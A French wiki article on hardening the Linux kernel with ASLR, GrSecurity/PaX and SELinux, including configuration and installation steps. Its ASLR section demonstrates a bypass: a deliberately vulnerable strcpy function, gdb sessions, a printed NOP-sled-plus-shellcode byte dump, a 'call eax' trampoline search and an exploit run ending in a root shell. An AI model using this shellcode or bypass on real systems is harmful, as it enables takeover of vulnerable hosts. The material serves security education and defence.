Renforcement des fonctions de sécurité du noyau Linux

From Deimos.fr / Bloc Notes Informatique
Jump to: navigation, search

1 Introduction

Ce dossier vous propose de faire un tour d'horizon des différents mécanismes de sécurité liés aux noyaux des systèmes d'exploitation de type GNU/LINUX afin de garantir la sauvegarde de l'intégrité de votre environnement. Dans cette première partie vous trouverez une introduction à ces mécanismes ainsi qu'aux noyaux des systèmes GNU/LINUX en général.

2 Présentation

L'engouement croissant des utilisateurs pour le système d'exploitation Linux, et plus particulièrement de la part des experts en sécurité ou des administrateurs système, est dû en grande partie à la robustesse et aux fonctionnalités avancées que propose ce système d'exploitation. Le noyau, plus souvent cité sous son appellation de forme anglaise kernel , coeur du système, gère la majeure partie des fonctions relatives à la sécurité de l'environnement.

Le processus et la qualité de développement de Linux sont désormais reconnus. Il se base sur une très large communauté d'experts et de passionnés qui contribue à l'évolution du projet et à ses perpétuelles corrections. Il s'agit en effet ici d'une propriété particulièrement déterminante dans le choix des équipements présents au sein d'une infrastructure sécurisée.

Les correctifs de sécurité pour les systèmes Linux sont publiés très rapidement et il n'est pas rare de les avoir à disposition dans les vingt quatre heures qui suivent la publication d'une faille de sécurité sur une liste type full-disclosure (bugtraq, etc.).

Plusieurs fonctionnalités relatives à la sécurité sont intégrées nativement dans le noyau Linux. Citons celles pour la gestion des syncookies, permettant notamment de faire face aux attaques du type SYN flood par exemple, celles pour les fonctionnalités de filtrage assurées par Netfilter ou encore d'autres moins explicites mais permettant de renforcer globalement la sécurité du système.

Une distinction importante doit être faite entre la sécurité du réseau gérée au niveau du système d'exploitation (gestion de l'aléa des IP ID, restrictions sur les sockets, filtrage de niveau 3, etc.) et la sécurité applicative permettant de se prémunir, ou de limiter l'exploitation possible, des failles logicielles de plus haut niveau. Elles font généralement partie du user land.

Le noyau Linux retenu dans cet article est le 2.6.16.9, dernière version stable à la date de rédaction. Les versions supérieures seront dotées des mêmes fonctionnalités et en proposeront bien sûr de nouvelles. Les différents patches présentés dans les chapitres suivants devront être récupérés en fonction de la version utilisée bien sûr, mais la démarche reste globalement identique.

GrSecurity est sans doute le projet de ce type le plus connu bien qu'il soit l'un des moins supportés financièrement. SELinux (Security Enhanced Linux), au contraire, dispose d'importantes ressources, étant développé par la NSA (National Security Agency – organisation américaine de renseignement spécialisée dans les nouvelles technologies).

Les approches de GrSecurity et de SELinux sont diamétralement opposées : GrSecurity renforce la sécurité du système en amont, ajoutant de nombreuses fonctionnalités applicatives permettant de rendre très complexe l'exploitation des failles logicielles (buffer overflows dans la pile, le tas, bugs de format, race conditions, etc.).

SELinux, quant à lui, opte pour la restriction de l'environnement offert à un attaquant suite à la compromission du système. L'attaquant est alors restreint avec des privilèges peu élevés et est cantonné au strict minimum. Il s'agit d'une approche par MAC (Mandatory Access Control).

Les différentes approches, qu'elles soient placées en amont ou en aval de la compromission, seront présentées dans cet article. Elles ont toutes de multiples avantages et inconvénients, notamment en termes de performances. L'emploi simultané des deux solutions, bien envisageable dans la théorie, se révèle bien trop lourd en pratique. En sécurité, tout est affaire de compromis...

Des prérequis techniques sont nécessaires à la bonne compréhension de cette article, notamment ceux concernant les exploitations de failles sous Linux (buffer/heap overflows principalement). Le lecteur pourra se référer à l'abondante littérature disponible sur Internet à ce sujet.

3 Address Space Layout Randomization

ASLR ou Address Space Layout Randomization est une fonctionnalité du noyau Linux permettant de rendre aléatoire l'espace d'adressage mémoire de zones comme le tas (heap) ou la pile (stack) afin de compliquer le travail d'un attaquant souhaitant compromettre une machine via une attaque de type buffer overflow par exemple.

Une nouveauté de taille est apparue récemment dans le noyau Linux, avec le support natif de l'équivalent d'ASLR (Address Space Layout Randomization). Ce dernier permet de rendre aléatoire l'espace d'adressage mémoire de certaines zones, telles que le tas (heap) ou la pile (stack).

En effet, ces deux dernières sections mémoire contiennent la plupart du temps les buffers d'un processus. Les allocations dynamiques (*malloc) sont placées dans le tas tandis que les statiques (char/int/... *buff[SIZE]) sont placées dans la pile.

Les fameux médiatiques buffer overflows (débordements de buffer) exploitent donc ces zones de la mémoire afin d'y placer un shellcode (suite d'OPCODEs) et de rediriger ensuite le flot d'exécution vers l'adresse le contenant.

En rendant ces adresses aléatoires, l'attaquant ne peut plus utiliser les techniques classiques d'exploitation, les réussites d'exploitation sont donc bien souvent plus rares.

Un processus nommé « srv » est lancé ci-dessous. Une analyse des zones mémoires allouées aux sections permet de constater que la pile est contenue entre les adresses 0xBF7F7000 et 0xBF80D000 :

$srv&
[3027]
 
$ cat /proc/3027/maps
(...)
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7da3000-b7da4000 rw-p b7da3000 00:00 0
b7da4000-b7ed2000 r-xp 00000000 03:04 345236 /lib/tls/libc-2.3.6.so
b7ed2000-b7ed7000 r--p 0012e000 03:04 345236 /lib/tls/libc-2.3.6.so
b7ed7000-b7eda000 rw-p 00133000 03:04 345236 /lib/tls/libc-2.3.6.so
b7eda000-b7edc000 rw-p b7eda000 00:00 0
b7ef5000-b7ef8000 rw-p b7ef5000 00:00 0
b7ef8000-b7f0d000 r-xp 00000000 03:04 2032253 /lib/ld-2.3.6.so
b7f0d000-b7f0f000 rw-p 00015000 03:04 2032253 /lib/ld-2.3.6.so
bf7f7000-bf80d000 rw-p bf7f7000 00:00 0 [stack]
ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]Texte

Lors d'un second lancement du même processus, nous constatons que l'adresse de la pile a effectivement changé et se trouve désormais entre 0xBF865000 et BxBF87B000 :

$srv&
[3593]
 
$ cat /proc/3593/maps
(...)
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7e11000-b7e12000 rw-p b7e11000 00:00 0
b7e12000-b7f40000 r-xp 00000000 03:04 345236 /lib/tls/libc-2.3.6.so
b7f40000-b7f45000 r--p 0012e000 03:04 345236 /lib/tls/libc-2.3.6.so
b7f45000-b7f48000 rw-p 00133000 03:04 345236 /lib/tls/libc-2.3.6.so
b7f48000-b7f4a000 rw-p b7f48000 00:00 0
b7f63000-b7f66000 rw-p b7f63000 00:00 0
b7f66000-b7f7b000 r-xp 00000000 03:04 2032253 /lib/ld-2.3.6.so
b7f7b000-b7f7d000 rw-p 00015000 03:04 2032253 /lib/ld-2.3.6.so
bf865000-bf87b000 rw-p bf865000 00:00 0 [stack]
ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]Texte

Analysons désormais le cas plus concret d'une faille logicielle sur l'exemple ci-dessous. Celui-ci contient la fonction here_is_the_bug qui effectue une copie non bornée de tampon mémoire dans « buffer » d'une taille fixe de 150 octets (celui-ci est placé dans la pile) :

(gdb) list here_is_the_bug
20 char * Connection;
21 } browser;
22
23
24 void here_is_the_bug(pbrowser Browser)
25 {
26
27 char buffer[150];
28 if(Browser->UserAgent != NULL)
29 {
30 strcpy(buffer,Browser->UserAgent);
31 }
32 }

En utilisant le débogueur gdb, plaçons maintenant deux breakpoints (points d'arrêts logiciels), avant et après la réécriture de l'adresse de retour (saved eip) placée dans la pile. Le buffer est ici placé à l'adresse 0xBFC73960. Après réécriture du buffer, nous passons le deuxième point d'arrêt. Le programme plante « normalement » (l'adresse utilisée pour la réécriture étant fausse et ne pointe plus dans la pile) :

(gdb) b 31
Breakpoint 1 at 0x804859e: file srv.c, line 31.
 
(gdb) run < paquet_mal
Breakpoint 1, here_is_the_bug (Browser=bfff0xf3a7) at srv.c:32
32 }
 
(gdb) print &buffer
$1 = (char (*)[150]) 0xbfc73960
 
 
(gdb) c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
0xbffff3a7 in ?? ()

En relançant le même exécutable, au premier point d'arrêt, nous constatons le changement d'adresse : le tampon concerné se situe désormais en 0xBF999AE0 :

(gdb) run < paquet_mal
Breakpoint 1, here_is_the_bug (Browser=bfff0xf3a7) at srv.c:32
32 }
 
(gdb) print &buffer
$2 = (char (*)[150]) 0xbf999ae0

Il n'est donc plus possible d'utiliser les techniques dites classiques afin de rediriger le flot d'exécution. Au mieux avec cette technique, l'attaquant provoquera un DoS (Denial Of Service - Déni de Service).

Malgré le niveau de sécurité plus élevé qu'apporte cette solution, nous avons constaté en l'étudiant, que cette protection pouvait être outrepassée en utilisant des moyens détournés...

Lors du deuxième point d'arrêt, placé avant le retour de la fonction, et après réécriture de l'adresse de retour (la saved eip affichée par gdb, 0xBFFFf3A7 n'est autre que celle que nous avons réécrite), nous analysons les valeurs des registres :

(gdb) info frame
Stack level 0, frame at 0xbf999b90:
eip = 0x804859e in here_is_the_bug (srv.c:32); saved eip 0xbffff3a7
called by frame at 0xbf999b94
source language c.
Arglist at 0xbf999b88, args: Browser=0xbffff3a7
Locals at 0xbf999b88, Previous frame's sp is 0xbf999b90
Saved registers:
ebp at 0xbf999b88, eip at 0xbf999b8c
 
(gdb) info registers
eax 0xbf999ae0 -1080452384
ecx 0xbf999bbd -1080452163

La valeur contenue dans le registre EAX est... l'adresse de notre buffer ! Cette propriété est due à l'emploi de la fonction strcpy. En effet, si nous nous plaçons à un niveau plus bas (code assembleur), les différentes adresses et valeurs utilisées sont placées dans les registres appropriés, puis un saut vers le code de la fonction strcpy est ensuite effectué. Cette fonction ne pouvant se passer de l'adresse destination du buffer, il est logique qu'elle soit placée dans un registre accessible (ici EAX).

Vérifions l'hypothèse selon laquelle l'adresse d'EAX contient effectivement notre suite d'instructions placée précédemment en mémoire (suite de NOP puis shellocode) :

(gdb) x/5bi 0xbf999ae0
0xbf999ae0: nop
0xbf999ae1: nop
0xbf999ae2: nop
0xbf999ae3: nop
0xbf999ae4: nop
 
(gdb) x/100bx 0xbf999ae0
0xbf999ae0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999ae8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999af0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999af8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999b00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999b08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999b10: 0x90 0x90 0x90 0x90 0x90 0x31 0xc0 0x31
0xbf999b18: 0xdb 0x31 0xc9 0xb0 0x46 0xcd 0x80 0x31
0xbf999b20: 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68
0xbf999b28: 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x8d 0x54
0xbf999b30: 0x24 0x08 0x50 0x53 0x8d 0x0c 0x24 0xb0
0xbf999b38: 0x0b 0xcd 0x80 0x31 0xc0 0xb0 0x01 0xcd
0xbf999b40: 0x80 0xbf 0xa7 0xf3

Les octets 0x90 sont les NOP, permettant la plupart du temps de réduire l'heuristique nécessaire à l'exploitation d'un buffer overflow (nous aurions pu nous en passer dans ce cas d'exploitation). Au passage, notons les OPCODEs 0xCD80 (en gras ci-dessus) qui représentent l'appel à l'interruption d'exécution pour nous céder un shell sur la machine distante (int $0x80).

Le principe d'exploitation est alors très clair : nous devons faire exécuter à la machine l'équivalent d'un jmp %eax ou call %eax qui sautera directement sur notre shellcode.

En effectuant une recherche dans la mémoire du processus, grâce à l'opcode finder que nous avons développé pour l'occasion, nous trouvons une adresse (en zone d'adressage fixe cette fois-ci) contenant les OPCODEs de l'instruction « call EAX » :

# ./memory_dumper 080484b0 0804A4b0 10497 output
Found at 0x8048c03

Étant donné que le registre EAX pointe sur notre buffer (qui contient un shellcode valide), le contournement est alors effectué :

# ./exploit localhost 8000 0
Using align value 0
Trying « call eax » compliant address : 0x08048c03
 
Linux lapt41p 2.6.16 #3 PREEMPT i686 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
 
#

De plus amples informations techniques au sujet d'ASLR sont disponibles aux adresses suivantes :

Lwn.net

Searchopensource.techtarget.com

Metasploit msg 00735

Metasploit msg 00736


D'autres protections, situées en userland via la librairie libc, permettent entre autres de se prémunir d'exploitations dans le tas via la méthode unlink. Elles sont complémentaires à une utilisation d'ASLR et ne seront pas décrites dans cet article.

4 GrSecurity et PaX

GrSecurity permet de renforcer la sécurité des processus en mode userland, grâce à lui il est possible de rendre plus complexe l'exploitation d'une vulnérabilité par un attaquant sur un système d'exploitation. GrSecurity s'appuie notamment sur PaX pour les protections relatives au traitement de la mémoire kernel et user land.

GrSecurity propose une approche « amont » des renforcements de la sécurité du noyau. Par ce biais, la sécurité des processus en userland peut être également renforcée. Le noyau joue en effet un rôle majeur dans la gestion des processus. Il définit l'utilisation des plages mémoire (pile, tas, adresse de base du chargement des binaires, etc...) et les zones d'exécution, lecture ou écriture.

En combinant plusieurs techniques, il est possible de rendre particulièrement complexe l'exploitation de vulnérabilités présentes sur le système. Au meilleur des cas (sauf contournement des protections), un attaquant provoquera un déni de service sur le processus vulnérable (ce qui peut tout de même être critique en fonction de l'utilisation qui en est faite), ou de façon plus grave, sur le noyau.

GrSecurity se présente comme un patch kernel. Il est actualisé très régulièrement et est disponible à l'adresse suivante.

De nombreuses fonctionnalités sont intégrées dans GrSecurity, dont la plus connue étant PaX qui permet d'ajouter plusieurs protections relatives au traitement de la mémoire kernel et user land.

Voici la liste des principales fonctionnalités de GrSecurity (de plus amples détails techniques sont disponibles sur le site officiel du projet) :

  • Role-Based Access Control (RBAC), qui permet de faire une segmentation des restrictions de GrSecurity en fonction de nombreux critères : utilisateur, processus, fichier...
  • Contrôle sur les fonctionnalités réseau de niveau 3
  • Possibilités de capabilities pouvant être attribuées à des utilisateurs non root, et ce sans authentification préalable.
  • Support de scripting dans la configuration (gestion de variables, d'opérateurs logiques, etc.)
  • Gestion objets avec de possibles héritages pour les définitions d'ACL.
  • Création et suppression dynamiques d'objets.
  • Résolution temps réel des expressions régulières (traitement temporel possible)
  • Protection de l'appel système ptrace (débogage dynamique pouvant être utilisé pour contourner certaines protections) en fonction de l'utilisateur et/ou du processus.
  • Entrée /dev/grsec de devfs permettant un interfaçage kernel land / user land.
  • Code « next-generation » qui produit des policies de moindres privilèges pour l'intégralité du système sans configuration nécessaire au préalable.
  • Policies statiques configurables avec l'outil gradm.
  • Possibilité de création dynamique des policies avec un mode learning qui permet de réduire considérablement le travail de l'administrateur système et de déboguer rapidement les problèmes classiques entraînés par l'usage d'ACL.
  • Protection sur l'environnement, les noms de fichiers, etc.
  • /proc/<pid>/ipaddr permet de lister l'adresse IP distante de l'utilisateur ayant initié une connexion ou lancé un processus réseau.
  • Support de lecture/écriture/exécution des appels à ptrace
  • Support des flags PaX pour protéger certains binaires uniquement, ou assouplir la politique sur d'autres (particulièrement pratique pour un serveur X par exemple).
  • Protection sur les fonctions de la mémoire partagée (shared memory).
  • Surveillance de certains flags propres au processeur (notamment dans le cadre de la lutte contre les codes offensifs) : trojans, spywares...
  • Fonctions d'audit pouvant être appliquées à certains utilisateurs uniquement (restricted GID)
  • Support de restrictions sur les ressources, sockets et capabilities.
  • Protection contre les bruteforces d'adresses des exploits.
  • Protection sur les fichiers de procfs /proc/[PID] (mémoire, mappages, etc.).
  • Regénération des policies possible.
  • Suppression configurable des logs.
  • Configuration possible des processus liés à la gestion des comptes (création, suppression, modification...).
  • Configuration intuitive et rapide.
  • Indépendance du système de fichier et de l'architecture.
  • Répercussions minimes sur les performances globales du système.
  • Support des multi-processeurs (SMP).
  • La plupart des opération s'effectue en complexité O(1).
  • Activation/désactivation et rechargement dynamique des capabilities via procfs.
  • Option permettant de cacher les processus utilisateurs aux autres utilisateurs « normaux » du système.
  • Restrictions procfs (/proc) sur la diffusion d'informations aux « utilisateurs normaux », y compris sur les processus leur appartenant.
  • Restrictions sur les liens symboliques et physiques (sur les inodes) afin de contrer les attaques de race conditions.
  • Restrictions sur la pile (exécution, manipulation, etc.).
  • Impossibilité aux utilisateurs « normaux » d'accéder aux informations de dmesg, informations souvent renvoyées par le noyau ou par les modules.
  • Amélioration de l'implémentation du Trusted Path Execution (TPE)
  • Restrictions socket par GID (Group ID).
  • Grande flexibilité de la configuration grâce au support par syscontrol (sysctrl).
  • Mécanisme de blocage des sysctl après configuration (lock).
  • Alertes de sécurité remontées avec les informations réseau de l'attaquant (IP, éventuelle résolution DNS...)
  • Arrêt automatique des processus relancés plusieurs fois dans un laps de temps réduit (bruteforces des exploits).
  • Modes automatiques dans la configuration : low, medium et high
  • Restrictions configurables sur les attaques par flood et/ou épuisement des ressources.
  • Amélioration des générateurs d'aléa.
  • PIDs (Processus ID) aléatoires.
  • Ports sources TCP aléatoires
  • Logs des exécutions (exécutables et arguments).
  • Logs sur les tentatives d'accès au ressources non autorisées.
  • Logs des appels à l'appel système chdir.
  • Logs des appels à mount and unmount.
  • Logs des signaux (SIGUP, SIGKILL...).
  • Logs des erreurs aux appels à fork.
  • Logs des changements de temps.
  • PaX: Implémentation des accès utilisateurs aux pages mémoires non exécutables (protections sur les exploitations de ret-into-libc) avec une perte de performances négligeable sur les processeurs Intel.
  • PaX: Implémentation des accès utilisateurs aux segments mémoires non exécutables (protections sur les exploitations de ret-into-libc) avec une perte de performances négligeable sur les processeurs Intel.
  • PaX: Aléa des adresses de la pile (stack) et de l'adresse de base des fichiers chargés (mmap) sur de nombreuses architectures (i386, sparc, sparc64, alpha, parisc, amd64, ia64, ppc, et mips).
  • PaX: Aléa des adresses du tas sur les architectures i386, sparc, sparc64, alpha, parisc, amd64, ia64, ppc, et mips.
  • PaX: Aléa de l'adresse de base des exécutables pour les architectures i386, sparc, sparc64, alpha, parisc, amd64, ia64, et ppc.
  • PaX: Aléa de la pile noyau (kernel stack).
  • PaX: Emulation automatique par rebonds (adressage indirect) sur la libc : protection anti ret-into-libc (libc5, glibc 2.0, uClibc, Modula-3...).
  • PaX: Emulation de la PLT (Procedure Linkage Table) permettant de charger en mémoire les adresses des fonctions à appeler à des adresses aléatoires.
  • Modifications dynamiques du noyau impossibles via les pseudos fichiers /dev/mem, /dev/kmem, ou /dev/port.
  • Options permettant d'interdire les accès directs aux écritures sur les entrées/sorties (raw IO).
  • Pas d'attachement à la mémoire partagée de la part des processus chrootés.
  • Pas d'appel à kill à l'intérieur d'un chroot.
  • Pas d'appel à ptrace à l'intérieur d'un chroot.
  • Pas d'appel à setpgid à l'intérieur d'un chroot.
  • Pas d'appel à getpgid à l'intérieur d'un chroot.
  • Pas d'appel à getuid à l'intérieur et extérieur d'un chroot.
  • Impossibilité d'envoyer des signaux à des processus situés en dehors du chroot en cours.
  • Impossibilité de lister les processus en dehors d'un chroot.
  • Impossibilité de monter/démonter des partitions à l'intérieur d'un chroot.
  • Pas d'appel à la fonction « pivot » à l'intérieur d'un chroot (méthode d'évasion connue).
  • Impossibilité de faire des doubles chroots (méthode d'évasion connue).
  • Pas de fchdir en dehors d'un chroot
  • Renforcement de l'appel à chdir("/") dans un chroot
  • Impossibilité de suider (chmod +s) des binaires à l'intérieur d'un chroot.
  • Impossibilité de créer des fichiers spéciaux à l'aide de mknod à l'intérieur d'un chroot.
  • Pas d'écriture sysctl à l'intérieur d'un chroot.
  • Impossibilité de changer les priorités de l'ordonnanceur à l'intérieur d'un chroot (nice).
  • Impossibilité de se connecter aux sockets abstraites UNIX situées en dehors d'un chroot.
  • Logs des exécutions à l'intérieur d'un chroot.


L'outil gradm (disponible sur le site de grsecurity) et paxctl (disponible sur le site de PaX) permettent d'alléger ou d'augmenter les restrictions GrSecurity/PaX sur les binaires, et ce de façon unitaire. Il est alors possible d'exclure par exemple des binaires sur les protections en vigueur sur le système.

L'installation est très simple et rapide. Il suffit de récupérer le dernier patch en date sur le site de GrSecurity et de l'installer :

gunzip grsecurity-2.1.8-2.6.14.6-200601211647.patch.gz
cp grsecurity-2.1.8-2.6.14.6-200601211647.patch linux
cd linux
patch -p1 < grsecurity-2.1.8-2.6.14.6-200601211647.patch
patching file security/security.c
(...)

La configuration s'effectue ensuite de façon classique avec un make menuconfig par exemple.

GrSecurity et Pax sont placés dans le menu « Security options », tout comme SELinux, au même titre que les autres moyens de protection bas niveau :

Linux Kernel v2.6.16.9 Configuration
Linux Kernel Configuration
x x Code maturity level options --->
x x General setup --->
x x Loadable module support --->
x x Block layer --->
x x Processor type and features --->
x x Power management options (ACPI, APM) --->
x x Bus options (PCI, PCMCIA, EISA, MCA, ISA) --->
x x Executable file formats --->
x x Networking --->
x x Device Drivers --->
x x File systems --->
x x Instrumentation Support --->
x x Kernel hacking --->
x x Security options --->
x x Cryptographic options --->
x x Library routines --->
x x ---
x x Load an Alternate Configuration File
x x Save Configuration to an Alternate File

Dans le menu « Security options », PaX et GrSecurity sont dissociés. Cependant GrSecurity propose également des fonctionnalités relatives à la gestion de la mémoire :

PaX --->
Grsecurity --->
[*] Enable access key retention support
[*] Enable the /proc/keys file by which all keys may be viewed
[*] Enable different security models
[*] Socket and Networking Security Hooks
<*> Default Linux Capabilities
< > Root Plug Support
<*> BSD Secure Levels

Pour Pax, les sous-menus permettent de configurer finement la protection mémoire :

[*] Enable various PaX features
PaX Control ---> Non-executable pages ---> Address Space Layout Randomization --->

La configuration de GrSecurity s'effectue sur le même modèle :

[*] Grsecurity
Security Level (Custom) --->
Address Space Protection --->
Role Based Access Control Options --->
Filesystem Protections --->
Kernel Auditing --->
Executable Protections --->
Network Protections --->
Sysctl support --->
Logging Options --->

Détailler toutes les options de GrSecurity serait beaucoup trop long (la documentation officielle elle-même passe rapidement sur ces fonctionnalités). Pour chaque fonction proposée, une aide détaillée en anglais permet de comprendre les rôles précis. Pour y accéder, vous devrez vous placer sur la fonction dont vous souhaitez obtenir l'aide, puis presser la touche « ? ».

Attention cependant à l'option « Runtime module disabling », déconseillée la plupart du temps, sauf si vous désirez interdire ou restreindre de façon drastique l'utilisation des modules (LKM : Linux Kernel Module).

La fonction « sysctl enable » est également déconseillée car elle permet de « bypasser » aisément GrSecurity si le verrou sysctl n'est pas placé correctement. Ne l'activez donc pas si vous n'en connaissez pas exactement le rôle.

L'approche « W^X » (à lire « Write XOR eXecute ») permet de ne pas activer une section mémoire en écriture et en exécution simultanément. De fait, un shellcode placé par un utilisateur ne pourra pas y être exécuté. Il existe cependant encore des moyens de contourner cette dernière technique... Comme toujours !

5 SELinux

5.1 Partie 1

SELinux apporte aux noyaux des systèmes d'exploitation GNU/Linux ses nombreuses et riches fonctionnalités afin notamment de reistreindre l'environnement dans lequel un attaquant pourrait profiter d'une exploitation réussi. Cette première partie concerne la présentation de ces fonctionnalités et l'installation de SELinux.

Suite à de longs et virulents débats entre les mainteneurs du noyau Linux, mais également entre les utilisateurs finaux, SELinux a finalement été adoptée comme solution de sécurité par défaut lors du passage aux versions du noyau 2.6.X. La précédente branche stable du noyau (2.4.X) ne proposait, de base, aucune solution de ce type; ce besoin était pourtant vivement exprimé depuis plusieurs années déjà.

Le choix de SELinux a notamment été motivé par les garanties que ce projet pouvait apporter en termes de maintenance, d'évolutivité, mais également de moyens. Les services américains de la NSA ont su (l'histoire ne dira sans doute jamais si une totale transparence était de mise ou non), semble t-il, se démarquer, auprès de Linus Torvald pour faire adopter leur solution.

Quoi qu'il en soit, la qualité du code de SELinux, la richesse de ses fonctionnalités en font une solution très « recommandable » pour les renforcements sur les serveurs de production nécessitant toujours plus de robustesse, sécurité, et accessibilité.

L'approche des renforcements de SELinux se base donc, comme nous l'avons présenté en introduction, sur les moyens de restreindre au maximum l'environnement d'un attaquant ayant compromis partiellement (droits « user ») ou totalement (droits « root ») le système d'information. L'utilisateur root (souvent appelé « superuser » du fait de ses droits illimités sur un système Linux standard) est alors lui-même restreint.

De fait, la compromission d'un serveur implémentant SELinux peut alors être réduite aux seuls dégâts locaux de l'application vulnérable incriminée (ce n'est d'ailleurs pas toujours vrai!).

Le type « classique » de gestion des contrôles d'accès est du type DAC (Discretionary Access Control). Celui retenu par SELinux se rapproche très fortement du MAC (Mandatory Access Control) avec cependant quelques adaptations.

Il porte le nom de Flask et se différencie des MAC du type MLS (Multi-Level Security) qui n'intègrent pas :

  • de contrôle sur l'intégrité des données ;
  • le principe du « moindre privilège » (least privilege) ;
  • la séparation des processus et des objets au sens ACL (Access Control List) du terme.

Les MLS se contentent d'assurer la confidentialité des fichiers et de certaines données en fonction des utilisateurs ou des appels qui l'initient.

Flask permet donc de palier ces différents problèmes en proposant les contre-mesures adaptées et en ajoutant des protections sur :

  • Les fichiers
  • Les processus
  • Les signaux, et appels de type ptrace
  • Les sockets et flux réseaux
  • La gestion de l'interfaçage kernel land via un contrôle sur les modules, les appels systèmes et autres biais permettant d'atteindre le noyau du système.
  • Mais également sur les fonctionnements internes des programmes grâce à une API permettant d'utiliser les fonctionnalités de SELinux directement.

Au niveau des options à configurer dans le noyau, SELinux comporte de multiples dépendances qu'il faudra impérativement « résoudre » avant de pouvoir ajouter le support. Selon le système de fichiers utilisé, retenez les entrées nécessaires dans la section « File systems » de votre configuration.

Un simple make menuconfig vous permettra de définir les options que vous voulez utiliser.

Voici les options nécessaires à son bon fonctionnement :

"Code maturity level options"
[*] Prompt for development and/or incomplete code/drivers
 
"General setup"
[*] Auditing support
 
"File systems"
<*> Second extended fs support
[*] Ext2 extended attributes
[ ] Ext2 POSIX Access Control Lists
[*] Ext2 Security Labels
<*> Ext3 journalling file system support
[*] Ext3 extended attributes
[ ] Ext3 POSIX Access Control Lists
[*] Ext3 security labels
<*> JFS filesystem support
[ ] JFS POSIX Access Control Lists
[*] JFS Security Labels
[ ] JFS debugging
[ ] JFS statistics
<*> XFS filesystem support
[ ] Realtime support (EXPERIMENTAL)
[ ] Quota support
[ ] ACL support
[*] Security Labels
 
[*] /proc file system support
[ ] /dev file system support (EXPERIMENTAL)
[*] /dev/pts file system for Unix98 PTYs
[*] /dev/pts Extended Attributes
[*] /dev/pts Security Labels
[*] Virtual memory file system support
[*] tmpfs Extended Attributes
[*] tmpfs Security Labels
 
"Security options"
[*] Enable different security models
[*] Socket and Networking Security Hooks
<*> Capabilities Support
[*] NSA SELinux Support
[*] NSA SELinux boot parameter
[*] NSA SELinux runtime disable
[*] NSA SELinux Development Support
[*] NSA SELinux AVC Statistics
[*] NSA SELinux MLS policy (EXPERIMENTAL)

Attention : pensez à ne laisser que le strict minimum, notamment s'il s'agit d'un serveur de production. Inutile donc de compiler le support pour une carte Tuner, l'accélération matérielle 3D, etc.

Une fois le noyau entièrement configuré (cette phase est souvent bien plus longue que la phase de compilation qui suit), les étapes classiques suivent :

make
make modules
make modules_install
cp arch/i386/bzImage /boot/vmlinux-2.6.16
cp System.map /boot/System.map-2.6.16
cp .config /boot/config-2.6.16

Puis si vous utilisez grub (ici avec un disque ide), ajoutez dans le fichier /boot/grub/menu.lst des lignes suivantes avec les informations de disques et de partitions concernant votre machine :

title Linux-2.6.16
root (hd0,3) # A adapter selon votre configuration
kernel /boot/vmlinuz-2.6.16 root=/dev/hda4
# Adaptez root selon votre configuration

Ou lilo (/etc/lilo.conf) :

image=/boot/vmlinuz-2.6.16
label=linux
read-only
root=/dev/hda4

Le répertoire /selinux doit ensuite être crée afin d'y stocker les futurs fichiers de policies (règles MAC SELinux) :

mkdir /selinux
 
chmod 700 /selinux

Le fichier /etc/fstab, contenant les points de montages virtuels et physiques de la machine, doit être complété afin d'y faire figurer le dernier montage relatif à SELinux :

none /selinux selinuxfs defaults 0 0


Le noyau et le système sont configurés pour utiliser SELinux. Un simple redémarrage, en sélectionnant le nouveau noyau généré est nécessaire pour poursuivre le déploiement.

5.2 Partie 2

Retrouvez, dans cette seconde partie consacrée à SELinux, les détails relatifs à la configuration des rêgles de sécurité SELinux ainsi que la présentation de différents outils et rêgles pré-établies dans le but de faciliter la sécurisation d'un système de manière maximale.

Comme tous les systèmes basés sur les ACL (Access Control List), la configuration des règles est sans aucun doute la phase la plus délicate car l'oubli d'une seule règle est bien souvent synonyme de dysfonctionnement ou tout simplement de crash (accès impossible à un fichier, flux réseau filtré, etc.).

Nous ne détaillerons pas « point par point » la configuration des règles SELinux, étant donnée la multitude d'usages différents que peut avoir un serveur. En revanche, nous allons présenter la méthode permettant de définir, puis d'affiner les règles afin d'obtenir un système le plus restrictif possible (ce qui est l'objet de cette protection, rappelons-le), mais fonctionnel tout de même...

Il est assez peu envisageable (ou alors avec un budget en conséquence !) de redéfinir les règles pour chaque processus du système. Plusieurs approches sont alors possibles : utiliser des outils permettant « d'apprendre » le comportement du système (fichiers et ressources accédés, etc.) et d'en tirer une première configuration basique. La deuxième approche, plus fine, est d'utiliser les règles proposées par la distribution. La majeure partie des distributions propose ce type de règles.

Attardons-nous désormais sur l'approche de la distribution Debian, avec son package selinux-policy-default. Lors de l'installation, apt-get pose de très nombreuses questions sur l'usage du serveur qui en sera fait. Les usages les plus courants (serveur graphique, serveur de mail, serveur apache, etc.) sont alors proposés, et il suffit simplement de répondre aux questions posées afin de générer les règles appropriées :

(...)
Do you want domains/program/ircd.te:Ircd - IRC server
Yes/No/Display [Y/n/d]?
Do you want domains/program/distcc.te:distcc - Distributed compiler daemon
Yes/No/Display [Y/n/d]?
Do you want domains/program/gnome-pty-helper.te:Gnome Terminal - Helper program for GNOME x-terms
Yes/No/Display [Y/n/d]?
Do you want domains/program/uwimapd.te:uw-imapd-ssl server
Yes/No/Display [Y/n/d]?
Do you want domains/program/apache.te:Apache - Web server
Yes/No/Display [Y/n/d]?
Do you want domains/program/klogd.te:Klogd - Kernel log daemon
Yes/No/Display [Y/n/d]?
(...)

Une fois toutes ces règles par défauts définies, il convient d'affiner la protection en les re vérifiant et en les adaptant à l'usage exact qui va en être fait. Elles sont contenues dans /etc/selinux puis transférées dans leurs versions binaires dans le répertoire /selinux.

cd /etc/selinux/(strict|targeted)/src/policy
 
make relabel

De nombreuses ressources sur la configuration d'outils, de serveurs sont disponibles. D'autres policies sont également disponibles ailleurs.

